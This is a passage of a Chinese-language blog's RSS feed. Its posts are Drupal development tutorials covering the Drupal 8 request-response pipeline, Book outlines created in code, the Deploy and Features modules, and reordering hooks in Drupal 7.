      <link>/post/drupal-from-request-to-response/</link>
      <pubDate>Fri, 18 Sep 2015 23:10:53 +0800</pubDate>
      <guid>/post/drupal-from-request-to-response/</guid>
      <description>&lt;p&gt;在&lt;a href=&#34;http://www.sitepoint.com/build-drupal-8-module-routing-controllers-menu-links/&#34; target=&#34;_blank&#34;&gt;《Drupal 8 模块开发》&lt;/a&gt;的第一篇文章中，我们对路由方面做了一些了解。我们看到，现在是通过声明路由，配合Controler，来创建一个 Path 对应的页面。后面我们看到，可以返回一个渲染数组，这个数组将被还原为标记，并展示在页面的内容区域中。然而，你是否注意到在这水面之下，Drupal 实际上是把这个数组根据 &lt;code&gt;Symfony&lt;/code&gt;的 &lt;a href=&#34;http://api.symfony.com/2.7/Symfony/Component/HttpKernel/HttpKernelInterface.html&#34; target=&#34;_blank&#34;&gt;HTTPKernelInterface&lt;/a&gt; 转换为一个 &lt;code&gt;Response&lt;/code&gt; 对象？&lt;/p&gt;

&lt;p&gt;本文中，我将会深入到 Drupal 8（ 以及 Symfony 2 ）之中，看看从用户发起请求，到看到响应的过程中，到底发生了什么。上面的例子是这一过程的可能性之一，今天我们会看一下其他的可能。本文目标是理解系统的弹性如何帮助我们制作应用。&lt;/p&gt;

&lt;p&gt;在继续之前，我强烈建议你研究一下&lt;a href=&#34;https://www.drupal.org/files/d8_render_pipeline.pdf&#34; target=&#34;_blank&#34;&gt;这张图&lt;/a&gt;，这里综合了渲染线（&lt;code&gt;render pipeline&lt;/code&gt;）中的常见内容。在我看来，这张图所表达的内容已经超出了他的名字申明的范围，渲染系统只是其中的一个部分而已。&lt;/p&gt;

&lt;p&gt;##前端控制器（index.php）&lt;/p&gt;

&lt;p&gt;Symfony 2 现在是 Drupal 的重要组成部分。后面会看到很多 Symfony 的组件，在本文中是 &lt;a href=&#34;http://symfony.com/doc/current/components/http_kernel/introduction.html&#34; target=&#34;_blank&#34;&gt;HTTPKernel&lt;/a&gt; 以及 &lt;a href=&#34;http://symfony.com/doc/current/components/http_foundation/introduction.html&#34; target=&#34;_blank&#34;&gt;HTTPFoundation&lt;/a&gt; 。二者结合用于处理用户请求，把请求传递给应用，然后以面向对象的方式返回给用户。&lt;/p&gt;

&lt;p&gt;HTTPKernelInterface（你可能在&lt;a href=&#34;http://www.sitepoint.com/stackphp-explained/&#34; target=&#34;_blank&#34;&gt;其他地方&lt;/a&gt;听说过）是这个过程的胶水，他接收一个 &lt;code&gt;Request&lt;/code&gt; 对象，返回一个 &lt;code&gt;Response&lt;/code&gt; 对象，用这种简单而又强大的机制，把整个过程连接在一起。&lt;/p&gt;

&lt;p&gt;这个过程在 &lt;code&gt;index.php&lt;/code&gt; 文件中启动，他生成了一个 &lt;a href=&#34;http://api.symfony.com/2.7/Symfony/Component/HttpFoundation/Request.html&#34; target=&#34;_blank&#34;&gt;Request&lt;/a&gt; 对象，并传递给 &lt;code&gt;HTTPKernel::handle()&lt;/code&gt; 方法。后面就是用返回 &lt;a href=&#34;http://api.symfony.com/2.7/Symfony/Component/HttpFoundation/Response.html&#34; target=&#34;_blank&#34;&gt;Response&lt;/a&gt; 对象的方式进行响应。概括说来，这既是 Drupal 的，也是所有使用 Symfony 的 HTTPKernel 组件的应用的通用过程。&lt;/p&gt;

&lt;p&gt;##HTTPKernel 和 事件&lt;/p&gt;

&lt;p&gt;HTTPKernel 是 Symfony 应用的心脏。我们会看到，他的 &lt;code&gt;handle()&lt;/code&gt; 方法对响应内容的生成做了大量工作，这些工作以一个&lt;a href=&#34;http://symfony.com/doc/current/components/http_kernel/introduction.html#httpkernel-driven-by-events&#34; target=&#34;_blank&#34;&gt;事件驱动的工作流形式&lt;/a&gt;完成。这样的应用，通过对事件进行委托的方式完成，为大负载网站提供了极具弹性的架构。&lt;/p&gt;

&lt;p&gt;如果你看了前面的图，你会发现第二列里面描述了这个工作流，这部分构成了 Symfony 和 Drupal 之间的连接。&lt;/p&gt;

&lt;p&gt;名为 &lt;code&gt;kernel.request&lt;/code&gt; 的事件启动了这一过程。订阅这个事件可以处理很多任务。不过 Drupal 8 中需要注意的是格式的协商和路由。格式问题决定了返回的类型（html, json, image, pdf 等）；而第二个问题决定了响应这一请求需要执行哪些代码（&lt;code&gt;routing.yml&lt;/code&gt;文件中路由定义部分的&lt;code&gt;_controller&lt;/code&gt;键）。不过跟事件工作流里面的步骤一样，如果一个监听器返回了一个响应对象，这个过程就会跳过后面的大多数步骤，直达 &lt;code&gt;kernel.response&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;第二个事件是 &lt;code&gt;kernel.controller&lt;/code&gt;，在应用找到了用于处理请求的控制器之后，就会调用这个事件。在这里，监听器还可以执行一些重载方法。紧接这个步骤，核心开始解析传递给控制器的参数。Drupal 中的一个操作就是根据请求中找到的 ID  载入对象，提供给控制器。最后控制器使用给定参数开始执行。&lt;/p&gt;

&lt;p&gt;控制器用来返回某种类型的响应。如果返回一个&lt;code&gt;Response&lt;/code&gt;对象，这一过程会跳过后面的&lt;code&gt;kernel.response&lt;/code&gt;事件。监听器可以进行发送前的最后修改，例如修改内容头等。前端控制器通过&lt;code&gt;handle()&lt;/code&gt;方法获取&lt;code&gt;Response&lt;/code&gt;对象之后，使用&lt;code&gt;Response&lt;/code&gt;的&lt;code&gt;send()&lt;/code&gt;方法发送给用户，结束这一过程。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/d148f7b4894e61b95f0e0db260fa549d.png&#34; alt=&#34;workflow&#34; /&gt;&lt;/p&gt;

&lt;p&gt;##了解渲染数组&lt;/p&gt;

&lt;p&gt;如果控制器返回的不是&lt;code&gt;Response&lt;/code&gt;对象。核心会触发最后一个事件：&lt;code&gt;kernel.view&lt;/code&gt;。这一事件的订阅者负责把控制器的结果转换为&lt;code&gt;Response&lt;/code&gt;对象。所以这意味着通过对这一事件的响应，你可以在控制器中返回任何类型的对象。&lt;/p&gt;

&lt;p&gt;然而，正如我们在 &lt;a href=&#34;http://www.sitepoint.com/build-drupal-8-module-routing-controllers-menu-links/&#34; target=&#34;_blank&#34;&gt;example&lt;/a&gt; 中所见，多数控制器会返回一个渲染数组。一般来说，这一结构成仙了页面的主要内容（类似 Drupal 7 中的&lt;code&gt;page callback&lt;/code&gt;）。&lt;/p&gt;

&lt;p&gt;Drupal 8 中提供了 &lt;a href=&#34;https://api.drupal.org/api/drupal/core%21lib%21Drupal%21Core%21EventSubscriber%21MainContentViewSubscriber.php/class/MainContentViewSubscriber/8&#34; target=&#34;_blank&#34;&gt;MainContentViewSubscriber&lt;/a&gt;，用来把这一数组转换为对应的&lt;code&gt;Response&lt;/code&gt;对象。他根据之前我们提到的内容格式协商，使用 &lt;a href=&#34;https://api.drupal.org/api/drupal/core%21lib%21Drupal%21Core%21Render%21MainContent%21MainContentRendererInterface.php/interface/MainContentRendererInterface/8&#34; target=&#34;_blank&#34;&gt;MainContentRenderer&lt;/a&gt; 来完成这一任务。&lt;a href=&#34;https://www.drupal.org/developing/api/8/render/pipeline#main-content-renders&#34; target=&#34;_blank&#34;&gt;Drupal 8 提供了一系列的渲染器&lt;/a&gt;，缺省使用的是 &lt;a href=&#34;https://api.drupal.org/api/drupal/core%21lib%21Drupal%21Core%21Render%21MainContent%21HtmlRenderer.php/class/HtmlRenderer/8&#34; target=&#34;_blank&#34;&gt;HtmlRenderer&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;##HtmlRenderer&lt;/p&gt;

&lt;p&gt;这是最常用的内容渲染器，因此我们需要深入一点来研究它创建页面的方法。&lt;/p&gt;

&lt;p&gt;这个步骤中的一个有趣的部分就是页面的选择过程。&lt;code&gt;HTMLRenderer&lt;/code&gt;发起一个事件用来查找用于包装内容的页面类型：&lt;code&gt;RenderEvents::SELECT_PAGE_DISPLAY_VARIANT&lt;/code&gt;。没有启用 Block 模块的缺省情况下会使用&lt;a href=&#34;https://api.drupal.org/api/drupal/core%21lib%21Drupal%21Core%21Render%21Plugin%21DisplayVariant%21SimplePageVariant.php/class/SimplePageVariant/8&#34; target=&#34;_blank&#34;&gt;SimplePageVariant&lt;/a&gt;，如果启用了 Block 模块，则会引入 &lt;a href=&#34;https://api.drupal.org/api/drupal/core%21modules%21block%21src%21Plugin%21DisplayVariant%21BlockPageVariant.php/class/BlockPageVariant/8&#34; target=&#34;_blank&#34;&gt;BlockPageVariant&lt;/a&gt;，他会允许把 Block 放置到内容中的区域之中。如果有需要，你可以订阅这一事件来提供自己的选项。&lt;/p&gt;

&lt;p&gt;所有这些都在&lt;code&gt;HTMLRenderer&lt;/code&gt;的&lt;code&gt;prepare()&lt;/code&gt;方法中，&lt;code&gt;HTMLRenderer&lt;/code&gt;提供了&lt;code&gt;renderResponse()&lt;/code&gt;方法，会把带有 &lt;code&gt;#type =&amp;gt; &#39;page&#39;&lt;/code&gt;的渲染数组用主内容进行封装，转换为 &lt;code&gt;#type =&amp;gt; &#39;html&#39;&lt;/code&gt;的渲染数组，最后由 &lt;a href=&#34;https://api.drupal.org/api/drupal/core%21lib%21Drupal%21Core%21Render%21Renderer.php/class/Renderer/8&#34; target=&#34;_blank&#34;&gt;Renderer类&lt;/a&gt; （相当于 Drupal 7 中的 &lt;code&gt;drupal_render()&lt;/code&gt;）。最后生成的 HTML 字符串被加入到 &lt;code&gt;Response&lt;/code&gt; 对象，返回给前端控制器。&lt;/p&gt;

&lt;p&gt;虽然这只是非常概要的一个描述，不过还是比较清楚的描述了这个过程。现在我们有了一个&lt;code&gt;Response&lt;/code&gt;对象，这意味着 Kernel 能够开始触发 &lt;code&gt;kernel.response&lt;/code&gt; 事件。然后，前端控制器就可以把&lt;code&gt;Response&lt;/code&gt;对象发送给用户，结束这一过程。&lt;/p&gt;

&lt;p&gt;##结论&lt;/p&gt;

&lt;p&gt;本文中，我们通过从用户发起请求，到获得响应的整个管线的浏览，对 Drupal 8 （以及 Symfony 2）的内部机制进行了一些了解。我们看到 Drupal 8 是如何使用 HTTPKernel 以及 HTTPFoundation 这两个 Symfony 2 组件的。另外我们看到了 Drupal 的订阅者如何同事件进行互动来完成各种功能。最后，我们看到了 HTML 页面如何构建，并在渲染管线的帮助下返回给用户。&lt;/p&gt;

&lt;p&gt;我认为了解上述内容会对建立应用产生帮助。如果你在本文中只学会一样东西，我认为应该是&lt;strong&gt;弹性&lt;/strong&gt;，这正是 Drupal 8 优于 Drupal 7 的地方，真正的现代设计。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>编程管理手册大纲</title>
      <link>/post/book-admin-in-drupal-with-code/</link>
      <pubDate>Mon, 24 Aug 2015 05:38:59 +0800</pubDate>
      <guid>/post/book-admin-in-drupal-with-code/</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;本文假设读者具有编程操作 Node 的需求和经验。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Drupal 核心带有一个 Book 模块，用于生成具有&lt;strong&gt;多层上下级关系&lt;/strong&gt;的内容大纲，这一功能对于特定需求的展示是非常有用的，这里介绍一下如何使用代码来生成层级大纲。&lt;/p&gt;

&lt;p&gt;心急的同学可以直接拉到页尾抄代码。&lt;/p&gt;

&lt;p&gt;Book 模块激活后，会在内容编辑界面上生成新的手册大纲标签页。这里即可编辑手册内容，并对大纲进行创建和添加。&lt;/p&gt;

&lt;p&gt;我们可以通过新建一个手册的方式来观察 Drupal 中手册的行为，以此可以大致清楚创建的过程。&lt;/p&gt;

&lt;p&gt;首先我们可以利用 Firebug 或者 Chrome 开发控制台等工具来观察新加入的标签页中 From 的具体内容，经过观察后我们知道，新建手册的选择，基本上是选择了之前我们创建的封面所在 Node 的 nid，注意这一下拉框的 ID 中的 &lt;code&gt;bid&lt;/code&gt; 字样；如果我们选择了一个已经存在的手册的话，会多出一个选择上级的下拉框，其中列出了已经存在的手册项供选择，选择后就成为新内容的上级，注意这个下拉框 ID 中的 &lt;code&gt;plid&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;我们用上面的方式创建了新的手册之后，可以使用 Devel 工具的 &lt;code&gt;dsm&lt;/code&gt; 功能来获取新建 Node 的结构，编写如下代码：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;$node = node_load(514); //刚新建的封面的 nid。
dsm($node);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;执行后会发现，这个 Node 跟其他 Node 稍有不同的就是他多出一个 &lt;code&gt;book&lt;/code&gt; 成员，这是一个数组结构，这里会发现，数组中有几个名字中带 &lt;code&gt;id&lt;/code&gt; 的成员。&lt;/p&gt;

&lt;p&gt;联系刚才我们新生成的封面和内容两个 Node，进行对比，可以得到其中的上下级关系的脉络，还可以从 Book 模块的 Install 文件中拿到该模块的数据表，两相印证，大致得到了父子关系的表达方式：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;mlid：手册本成员的Menu Link ID&lt;/li&gt;
&lt;li&gt;bid：手册 ID&lt;/li&gt;
&lt;li&gt;nid：手册成员的 Node ID&lt;/li&gt;
&lt;li&gt;plid：手册成员的上级 Menu Link ID&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;即可得出 Book 的创建方法。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;/**
 * @param string $type 内容类型
 * @param int|string $parent_nid  如果是顶层，则赋值为 &#39;new&#39;
 * @param int $parent_menu_link_id 如果是顶层，则设置为 0
 * @param int $weight
 * @return mixed|\stdClass
 * @throws \Exception
 */
function build_basic_book_node($type, $parent_nid,
                               $parent_menu_link_id, $weight = 0) {
  $node = new stdClass();
  $node-&amp;gt;type = $type;
  $node-&amp;gt;language = LANGUAGE_NONE;
  $node-&amp;gt;uid = 1;
  node_object_prepare($node);
  $node = node_submit($node);
  $node-&amp;gt;book = array(
    &#39;bid&#39; =&amp;gt; $parent_nid,
    &#39;plid&#39; =&amp;gt; $parent_menu_link_id,
    &#39;weight&#39; =&amp;gt; $weight
  );

  node_save($node);
  $node = entity_load_single(&#39;node&#39;, $node-&amp;gt;nid);
  return $node;
}
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>Deploy 的基本用法</title>
      <link>/post/deploy-module-in-drupal-basic/</link>
      <pubDate>Thu, 13 Aug 2015 23:48:37 +0800</pubDate>
      <guid>/post/deploy-module-in-drupal-basic/</guid>
      <description>

&lt;p&gt;在这个演示中，我们会创建和部署一个新的 Node，然后发布一个针对该 Node 的更新。&lt;/p&gt;

&lt;h2 id=&#34;部署&#34;&gt;部署&lt;/h2&gt;

&lt;p&gt;一次部署分为两个阶段：把内容添加到部署计划，发布部署计划。部署计划的发布将内容添加到目标服务器。&lt;/p&gt;

&lt;h2 id=&#34;部署计划&#34;&gt;部署计划&lt;/h2&gt;

&lt;p&gt;一个部署计划包含一组将要发布到目标服务器上的内容。这些内容可以手工添加到部署计划中，也可以使用 Views 聚合或者 Rules 进行自动化操作。&lt;/p&gt;

&lt;h3 id=&#34;手工添加内容&#34;&gt;手工添加内容&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;在源服务器进入&lt;code&gt;node/add/article&lt;/code&gt;，创建一个新的 Article。然后随便选一些选项并保存。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;进入&lt;code&gt;admin/content/node&lt;/code&gt;，查看刚新建的 Node，从 Update options 中，&lt;code&gt;Add to managed deployment plan&lt;/code&gt;下选择部署计划，点击 Update 按钮，然后在其他需要添加的内容上做同样的操作。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;要发布这个计划，进入&lt;code&gt;admin/structure/deploy&lt;/code&gt;然后点击 Deploy 连接，点击 Deploy 按钮进行确认。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;在源服务器上运行Cron（这是因为在 Deploy 安装指南中选择 Queue API 作为 Deployment 处理器）。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;编辑步骤1中提到的Node并保存。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;重复第二和第三步。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;在源服务器上运行Cron。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;注：可以在 &lt;code&gt;admin/reports/dblog&lt;/code&gt;  上查看部署消息。&lt;/p&gt;

&lt;h3 id=&#34;自动部署计划&#34;&gt;自动部署计划&lt;/h3&gt;

&lt;p&gt;上文中我们通过手工添加内容到部署计划的方式发布了一个Node，接下来我们看看更自动化的方式。&lt;/p&gt;

&lt;h3 id=&#34;views-aggregation&#34;&gt;Views Aggregation&lt;/h3&gt;

&lt;p&gt;确认你完成了 &lt;a href=&#34;http://drupal.org/node/1406134&#34; target=&#34;_blank&#34;&gt;Deploy 安装&lt;/a&gt;中的所有步骤。我们要创建一个 Views Aggregator（和一个 View），而不是用一个 Managed aggregator。&lt;/p&gt;

&lt;p&gt;在源服务器：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;启用如下模块：Views deployment aggregator&lt;/p&gt;

&lt;p&gt;drush en deploy_aggregator_views&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;创建一个包含你想要添加到 Deployment plan 中的内容的 View（也可以直接使用首页 View）。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;接下来，利用 Views aggragator 创建一个部署计划：进入&lt;code&gt;admin/structure/deploy/plans&lt;/code&gt;，点击&amp;rdquo;Add&amp;rdquo;。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;给计划命名，例如 &amp;ldquo;Push to live server&amp;rdquo;。Aggregator 选择 Views aggregator；清空 Fetch only 选项；Deploy processor 使用 Queue API；Endpoints 设置为 &lt;a href=&#34;http://drupal.org/node/1406134&#34; target=&#34;_blank&#34;&gt;Deploy 安装&lt;/a&gt;中的设置内容。点击 &amp;ldquo;Continue&amp;rdquo; 进入下一步。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;选择刚才新建的 Aggregator View（或者选择缺省的首页视图）。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;没有需要配置的插件，点击完成。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;要发布这个计划，进入&lt;code&gt;admin/structure/deploy&lt;/code&gt;点击 Deploy 连接，确认发布。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;所有出现在指定视图中的内容都会被添加到部署计划中。创建视图之后发布的内容也会包含进来。如果有内容在发布的同时进入该视图，那么他会被加入部署计划，并推送到目标服务器。&lt;/p&gt;

&lt;h2 id=&#34;rule-actions&#34;&gt;Rule Actions&lt;/h2&gt;

&lt;h3 id=&#34;在源服务器上&#34;&gt;在源服务器上：&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;确认按照&lt;a href=&#34;http://drupal.org/node/1406134&#34; target=&#34;_blank&#34;&gt;Installing Deploy&lt;/a&gt;中讲到的方法创建一个Managed aggregator，记住点击&amp;rdquo;Delete successfully deployed items(删除发布成功的内容)&amp;ldquo;。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;下载&lt;a href=&#34;http://drupal.org/project/rules&#34; target=&#34;_blank&#34;&gt;Rules&lt;/a&gt;模块。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;drush dl rules
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;启用Rules以及Rules UI模块。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;drush en rules rules_admin
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;进入 &lt;code&gt;admin/config/workflow/rules&lt;/code&gt;，点击 &lt;code&gt;Add new rule&lt;/code&gt;。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;输入 &lt;code&gt;Content to Deployment plan&lt;/code&gt; ，或者其他什么名字，在 &lt;code&gt;React on event&lt;/code&gt; 中选择&lt;code&gt;After saveing new content&lt;/code&gt; (新建内容之后)（这个选项位于 Node 的下级）。点击&lt;code&gt;Add&lt;/code&gt;。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;点击 &lt;code&gt;Add Event&lt;/code&gt;（添加事件）。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;选择 &lt;code&gt;After updating existing content&lt;/code&gt; (更新现有内容)，点击&lt;code&gt;Add&lt;/code&gt;。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;点击 &lt;code&gt;Add Condition&lt;/code&gt;(添加条件).&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;在 &lt;code&gt;Select the condition to add&lt;/code&gt; 中选择 &lt;code&gt;Content is of type&lt;/code&gt;(内容属于某类)。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;在 Data Selector 中选择 Node，并在 Content type 检查条件中选择 Article。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;点击 &lt;code&gt;Add action&lt;/code&gt;。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;在 &lt;code&gt;Select the action to add&lt;/code&gt; 中选择 &lt;code&gt;Add an entity to a managed deployment plan&lt;/code&gt;。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;在 Value 中选择之前创建的 Managed aggregator 计划，在 Data Selector 中选择 node，点击 Save。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;在 &lt;code&gt;node/add/article&lt;/code&gt; 中创建新的 Article。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;进入 &lt;code&gt;admin/structure/deploy&lt;/code&gt;，可以看到刚创建的 Article 已经在第 13 步中的计划之中了。现在开始，所有新创建和更新的 Articles 都会被自动加入部署计划。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;要发布计划，进入 &lt;code&gt;adimin/structure/deploy&lt;/code&gt;，点击 &amp;ldquo;Deploy&amp;rdquo; 按钮，然后利用 &amp;ldquo;Deploy&amp;rdquo; 按钮确认。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;另外，要把部署计划做成自动化部署，可以添加一个 Rule Action &amp;ldquo;Deploy a plan&amp;rdquo;，使得每次 Aticle 的创建和编辑都触发部署计划的发布。这种做法并不推荐。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>使用Deploy和Features导出Entities</title>
      <link>/post/drupal-export-entity-with-deploy-and-features/</link>
      <pubDate>Thu, 13 Aug 2015 23:48:21 +0800</pubDate>
      <guid>/post/drupal-export-entity-with-deploy-and-features/</guid>
      <description>&lt;p&gt;Deploy Module可以把任何支持UUID的Entity导出到Features中。这个功能在创建安装范本或演示时非常有用，或者用于处理一些既非配置，也非内容的对象。&lt;/p&gt;

&lt;p&gt;使用Deploy导出内容：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href=&#34;http://drupal.org/node/1406134&#34; target=&#34;_blank&#34;&gt;安装Deploy&lt;/a&gt;和&lt;a href=&#34;http://drupal.org/project/features&#34; target=&#34;_blank&#34;&gt;Features&lt;/a&gt;。如果不需要使用Deploy进行Drupal站点之间的内容同步，知识想要导出到Features的话，就无需关心Service Module的安装了。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;进入&lt;code&gt;admin/structure/deploy/plans/add&lt;/code&gt;建立一个新的部署计划。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;选择聚合方式，参考&lt;a href=&#34;http://drupal.org/node/1406136&#34; target=&#34;_blank&#34;&gt;Deploy基础用法&lt;/a&gt;，来获取关于将内容加入部署计划的不同方法。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;选择&lt;code&gt;Fetch only&lt;/code&gt;，因为我们不需要部署处理，也不需要服务节点，而且没有选择这个选项的话，部署计划也不会出现在Features界面中。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;进入&lt;code&gt;admin/structure/features/create&lt;/code&gt;菜单。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;在&lt;code&gt;Deployment(deploy_pnas)&lt;/code&gt;中，为新建的部署计划选择组件。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;在&lt;code&gt;UUID Entities(uuid_entities)&lt;/code&gt;中，会发现一个和部署计划同名的组件，选择之。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;注意，上文提到的选择，不会自动提供对内容类型、字段、模块等依赖关系的处理。所以要清楚导出内容的外部依赖。如果只是导出内容到相似或相同的站点，或者利用其他的Features来解决依赖关系，最好只导出部署计划以及相关的Entity组件。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;需要导出的内容需要支持UUID。&lt;a href=&#34;http://drupal.org/project/entity_uuid&#34; target=&#34;_blank&#34;&gt;Entity UUID&lt;/a&gt;项目为非核心Entity提供了支持。要给Commerce Entity提供UUID支持，可移步到&lt;a href=&#34;http://drupal.org/project/commerce_uuid&#34; target=&#34;_blank&#34;&gt;Commerce UUID&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;变通做法：&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://drupal.org/project/uuid_features&#34; target=&#34;_blank&#34;&gt;UUID Features Integration&lt;/a&gt;模块提供了一种简单的导出内容到Features的方式，不过她主要支持的是核心Entity。使用Deploy，只要有UUID支持的Entity都是可导出的。如果你只是想要导出核心Entity，那么这种无需更多配置的方式可能更简单。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Drupal 主题系统原理</title>
      <link>/post/drupal-theme-system-design/</link>
      <pubDate>Mon, 10 Aug 2015 04:51:17 +0800</pubDate>
      <guid>/post/drupal-theme-system-design/</guid>
      <description>&lt;p&gt;原作者：&lt;a href=&#34;https://www.drupal.org/u/camorim&#34; target=&#34;_blank&#34;&gt;camorim&lt;/a&gt;, &lt;a href=&#34;https://www.drupal.org/u/dsquaredb&#34; target=&#34;_blank&#34;&gt;DSquaredB&lt;/a&gt;, &lt;a href=&#34;https://www.drupal.org/u/carolyn&#34; target=&#34;_blank&#34;&gt;Carolyn&lt;/a&gt;, &lt;a href=&#34;https://www.drupal.org/u/rootwork&#34; target=&#34;_blank&#34;&gt;rootwork.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;原文：&lt;a href=&#34;https://www.drupal.org/node/337173&#34; target=&#34;_blank&#34;&gt;How the Drupal theme system works&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;这个系列描述了Drupal主题系统的基本原理，包括主题的组成和设置，.info文件和页面模板。可作为新建自定义主题的起点教程。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Drupal 7 - Hook执行顺序</title>
      <link>/post/hook-order-in-drupal7/</link>
      <pubDate>Wed, 05 Aug 2015 10:32:19 +0800</pubDate>
      <guid>/post/hook-order-in-drupal7/</guid>
      <description>&lt;p&gt;没有什么文档来说明这个事情，在阅读 &lt;code&gt;&amp;quot;module_implements&amp;quot;&lt;/code&gt; 代码的过程中，我获得了变更 Hook 执行顺序的灵感。&lt;/p&gt;

&lt;p&gt;下面是 &lt;code&gt;module_implements&lt;/code&gt; 中的代码片段&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;// Allow modules to change the weight of specific implementations but avoid
// an infinite loop.
if ($hook != &#39;module_implements_alter&#39;) {
drupal_alter(&#39;module_implements&#39;, $implementations[$hook], $hook);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;所以只要简单的实现一下 &lt;code&gt;&amp;quot;module_implements_alter&amp;quot;&lt;/code&gt; ，在代码中对 Module 列表进行重新排序，也就改变了 Hook 的执行顺序。&lt;/p&gt;

&lt;p&gt;下面是示例代码：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;function mymodule_module_implements_alter(&amp;amp;$module_list, $context){
    if($context === &amp;quot;node_insert&amp;quot;){
    $temp = $module_list[&#39;mymodule&#39;];
    // Removing the mymodule key/value
    unset($module_list[&#39;mymodule&#39;]);
    // Adding the mymodule key value as the last member in the list
    $module_list[&#39;mymodule&#39;] = $temp;
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里需要注意 &lt;code&gt;module_list&lt;/code&gt; 参数是引用传递。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Drupal 7：如何从设计稿开始制作主题</title>
      <link>/post/drupal7-theme-from-scratch/</link>
      <pubDate>Wed, 05 Aug 2015 10:32:19 +0800</pubDate>
      <guid>/post/drupal7-theme-from-scratch/</guid>
      <description>&lt;p&gt;Drupal的主题制作是个复杂且繁重的工作。即使是一个入门主题，也会充斥着令人迷惑的PHP代码和错综复杂的CSS。一个设计师能做什么？无需担心，从设计草图入手制作主题是完全可行的。本文将一步一步的演示制作自己Drupal主题的过程，从info文件，页面模板，区域一直到CSS。&lt;/p&gt;

&lt;p&gt;本文假设你了解一些Drupal术语，具有基本的Drupal安装设置以及主题方面的基本知识。当然，读者还需要知道完成设计稿中可能涉及的HTML和CSS，因为这里只会讲解Drupal相关的编码技巧。&lt;/p&gt;

&lt;p&gt;还有一篇&lt;a href=&#34;http://www.apaddedcell.com/how-create-drupal-6-theme-scratch&#34; target=&#34;_blank&#34;&gt;《如何根据设计图制作Drupal 6主题》&lt;/a&gt;可以作为本文的前传，如题，这篇文章是针对Drupal 6的。&lt;/p&gt;

